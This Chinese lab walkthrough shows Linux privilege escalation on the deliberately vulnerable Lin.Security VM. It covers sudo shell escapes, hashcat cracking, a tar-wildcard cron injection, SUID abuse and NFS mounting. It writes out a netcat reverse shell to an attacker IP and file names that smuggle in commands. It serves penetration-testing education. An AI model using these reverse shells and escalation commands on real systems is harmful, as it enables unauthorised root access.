靶机地址:linsecurity
靶机描述了用户名和密码
![](https://i-blog.csdnimg.cn/blog_migrate/f614b11569df83b7619a0ba293a3d099.png)
用户名:bob、密码:secret
![](https://i-blog.csdnimg.cn/blog_migrate/0459f4c67005f8dc7acb21c920b28499.png)
登录后看到了IP地址,或者在kali上像之前那样进行ip收集,端口收集
![](https://i-blog.csdnimg.cn/blog_migrate/9f7718c0c040f77737017c43158516d8.png)
![](https://i-blog.csdnimg.cn/blog_migrate/3c75edb0042bbcf63eff8a5bb6439782.png)
开放的端口有很多,从22端口开始,知道用户名和密码,ssh远程直接连接,下面进入正题,Linux的提权大法!
![](https://i-blog.csdnimg.cn/blog_migrate/87de865c00d36fe116fc7981508adbc8.png)
Linux提权大法:
1、sudo提权大合集:
https://gtfobins.github.io/ #介绍了各种方法
sudo权限是root把本来只能超级用户执行的命令赋予给普通用户执行,利用sudo -l查看支持root权限的命令,利用这些命令可以简单直接提升到root,下面有很多,可以去上方网站查看如何使用!
![](https://i-blog.csdnimg.cn/blog_migrate/577af94aec874eb382938a395c5146c7.png)
![](https://i-blog.csdnimg.cn/blog_migrate/8ef4efdcfccf85b770a3167d7c46923a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/07311d4637c379d82313357b20f01d5c.png)
![](https://i-blog.csdnimg.cn/blog_migrate/f9eed56af366e391304e5eb9324c80ee.png)
![](https://i-blog.csdnimg.cn/blog_migrate/a2cbccb4e99da469cc8516d98ebb1e0e.png)
![](https://i-blog.csdnimg.cn/blog_migrate/92551a666cdc3e3b504002c6fde14f28.png)
![](https://i-blog.csdnimg.cn/blog_migrate/22e59fc56efddc98c4dfd1c86eb46e79.png)
![](https://i-blog.csdnimg.cn/blog_migrate/0800118c5c1ae36a1d4b91794f8cee66.png)
![](https://i-blog.csdnimg.cn/blog_migrate/aee09a412b0a57c383b30ba6450a4c61.png)
![](https://i-blog.csdnimg.cn/blog_migrate/90ebb24632bc94c8db455ca895dd46fd.png)
![](https://i-blog.csdnimg.cn/blog_migrate/b059a3771aef2bdd00726115b787a9a3.png)
sudo less /etc/profile
!/bin/sh
![](https://i-blog.csdnimg.cn/blog_migrate/61419d5af3cdc9397a6d3c12da17100d.png)
sudo man man
!/bin/bash
![](https://i-blog.csdnimg.cn/blog_migrate/1545dbdf10aa2563a90280eb02264a7b.png)
TERM= sudo more /etc/profile
!/bin/sh
![](https://i-blog.csdnimg.cn/blog_migrate/299098593f3092e92aa238a98fc6f547.png)
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
![](https://i-blog.csdnimg.cn/blog_migrate/2fb0402489f0a89a1195d19a0c2f7303.png)
sudo socat stdin exec:/bin/sh
![](https://i-blog.csdnimg.cn/blog_migrate/3d9bbd55e2e23a3218f9893aaa1f7b8a.png)
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
![](https://i-blog.csdnimg.cn/blog_migrate/3027b0d425ea2ff3f78484c90ee4a8b4.png)
sudo vi -c ':!/bin/sh' /dev/null
![](https://i-blog.csdnimg.cn/blog_migrate/aed8b75938dda1d24a3ebc484b52f3a2.png)
sudo zsh
![](https://i-blog.csdnimg.cn/blog_migrate/f61411d5d3c53aa9e41cd7ca2ecc7957.png)
sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
sudo rvim -c ':lua os.execute("reset; exec sh")'
![](https://i-blog.csdnimg.cn/blog_migrate/bdf0290b66bea4b643a41baa8a3b45d9.png)
sudo perl -e 'exec "/bin/sh";'
![](https://i-blog.csdnimg.cn/blog_migrate/cfbcee54868b30aecf2aa55f5e94642e.png)
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
![](https://i-blog.csdnimg.cn/blog_migrate/baad9eb4b362202c62ee4424f64c38a4.png)
sudo PAGER='sh -c "exec sh 0<&1"' git -p help
sudo git -p help config
!/bin/sh
sudo git branch --help config
!/bin/sh
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
sudo git -C "$TF" commit --allow-empty -m x
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x
![](https://i-blog.csdnimg.cn/blog_migrate/2c024ef068c0f15c2f4bc36a778adaf0.png)
sudo script -q /dev/null
![](https://i-blog.csdnimg.cn/blog_migrate/787c79b4fc09e3d841d2808d886abc67.png)
Hash密码破解法
查看passwd,看是否存在密码的hash,可以利用john和hashcat进行破解
![](https://i-blog.csdnimg.cn/blog_migrate/622912d47dfd55ed975ed6acc79e9342.png)
Linux的/etc/passwd主要格式:
![](https://i-blog.csdnimg.cn/blog_migrate/ac3887562d22f55548db765c41bbaf99.png)
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
"x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中
UID范围: 0为超级用户。1-499为系统用户,1~99 用于系统自行创建的账号;100~499 分配给有系统账号需求的用户。500-65535为普通用户
Linux的/etc/shadow的格式:
![](https://i-blog.csdnimg.cn/blog_migrate/9378c1732f0f9fd9d16edac52d6e3fa3.png)
root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
1、root记录用户名,以:号分隔
2、$6$开头的是SHA-512加密的,$1$是MD5,$2$是Blowfish加密,$5$是SHA-256,如果是空,则没有口令,*号代表被锁定,!!表示密码过期
3、最后一次修改时间表示从某个时刻起,到用户最后一次修改口令的天数,17721天
4、最小时间间隔,指两次修改口令之间所需的最小天数,0
5、最大时间间隔,口令保持有效的最大天数,99999
6、警告时间,从系统开始警告用户到用户密码失效之间的天数,7
7、不活动时间,用户没有登录活动但账号仍然能保持有效的最大天数
8、失效天数
9、保留字段,没有啥意义
![](https://i-blog.csdnimg.cn/blog_migrate/d49cea93de042237f53f6fe5b0676151.png)
![](https://i-blog.csdnimg.cn/blog_migrate/00a4b2d3f9d3a06b5ec51be5186a49bf.png)
获得账号密码
insecurity/P@ssw0rd
hashcat AzER3pBZh6WZE -m 1500 /usr/share/wordlists/rockyou.txt
![](https://i-blog.csdnimg.cn/blog_migrate/81365b2d1726179ea64ed604fee4452e.png)
3、crontab定时任务
查看定时任务:cat /etc/crontab
![](https://i-blog.csdnimg.cn/blog_migrate/043bee3d90000a0f5dc5c3ee562cf81f.png)
生成一个netcat反向shell,参考(https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/)
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.104 lport=8888 R
nc -vlp 8888
echo "mkfifo /tmp/dssvupb; nc 192.168.56.104 8888 0</tmp/dssvupb | /bin/sh >/tmp/dssvupb 2>&1; rm /tmp/dssvupb" > shell.sh && chmod +x shell.sh
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
#--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。
等一段时间后,反弹回shell,提权成功
4、敏感隐藏文件
在获得普通用户后,我们需要找一下有没有其他用户的隐藏信息,隐藏信息前面带.一般不适用ls -la看不到,其他用户放在/home文件夹,输入ls -laR /home或者利用find命令:
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
![](https://i-blog.csdnimg.cn/blog_migrate/6a96ce7d346a74700805d51e31fcddf6.png)
找到了另一个用户susan,密码:MySuperS3cretValue!
只可惜不能提权!
5、SUID提权
SUID之前的CVE里有具体介绍,这里就大致说一下,suid是uid+s的组合,s是特殊权限,一般默认下,用户权限是3位,例如0777,特殊权限默认不配置,如果超级管理员希望用户执行特殊权限文件时,拥有root权限,就会配置s的特殊权限。
使用find命令去查询具有特殊权限的执行文件:
find / -perm -4000 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
-perm匹配权限,4000是suid程序执行时,如果该程序有suid权限,会变成程序文件的属主
2000是sgid
1000是sbit
2>/dev/null是将错误输出到黑洞中
![](https://i-blog.csdnimg.cn/blog_migrate/bc6d59f8687d7ab61145386a46391ef0.png)
发现了一个可以利用的程序,xxd,查看所示组的用户
cat /etc/group | grep itservices
![](https://i-blog.csdnimg.cn/blog_migrate/3522035891641a56f975c18a8510b77a.png)
刚好有susan,看一下xxd该怎么用
![](https://i-blog.csdnimg.cn/blog_migrate/7ef80cd96db60211ec1431478eab0d31.png)
![](https://i-blog.csdnimg.cn/blog_migrate/27b820f34e6f507a3b9f72469667daa3.png)
顺利的读出来只有root才能读出的shadow
这边还有一个taskset(https://gtfobins.github.io/gtfobins/taskset/#suid-enabled)使用方法
![](https://i-blog.csdnimg.cn/blog_migrate/35d7ce0d0e1c9beda21454b3cf7e85e2.png)
taskset 1 /bin/bash -p
![](https://i-blog.csdnimg.cn/blog_migrate/7540e19dd2f7d39ee45a061b3f21df13.png)
提权成功!
6、NFS服务
NFS服务低权限访问:nfs服务允许计算机之间通过tcp/ip网络共享资源,之前在使用nmap时,查看到存在2049端口NFS服务
下面进行访问nfs目录
输入:showmount -e 192.168.56.130
挂载peter home目录
![](https://i-blog.csdnimg.cn/blog_migrate/6fcbd1ebda8cf65b08153a9b02c36212.png)
在Kali上挂载NFS共享,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005。
![](https://i-blog.csdnimg.cn/blog_migrate/3550f68167a490e54632ba7bdf4dd198.png)
密码:123
下一步,在kali上生成ssh公私钥对,创建.ssh目录,传输公钥,设置权限,最后连接
![](https://i-blog.csdnimg.cn/blog_migrate/971a3eb7a9481945cdf60ff233000409.png)
![](https://i-blog.csdnimg.cn/blog_migrate/ae6288785b6c0f1e2f60a816ab60e88d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/fb41d1fae8ffe1e5ea8a03d9fbf76776.png)
![](https://i-blog.csdnimg.cn/blog_migrate/320aa8d34fc1accef47fe1edddbf315b.png)
ssh远程连接上了!
总结:
该靶机还存在着其他的提权方式,可以自行去探索,具体问题具体分析吧!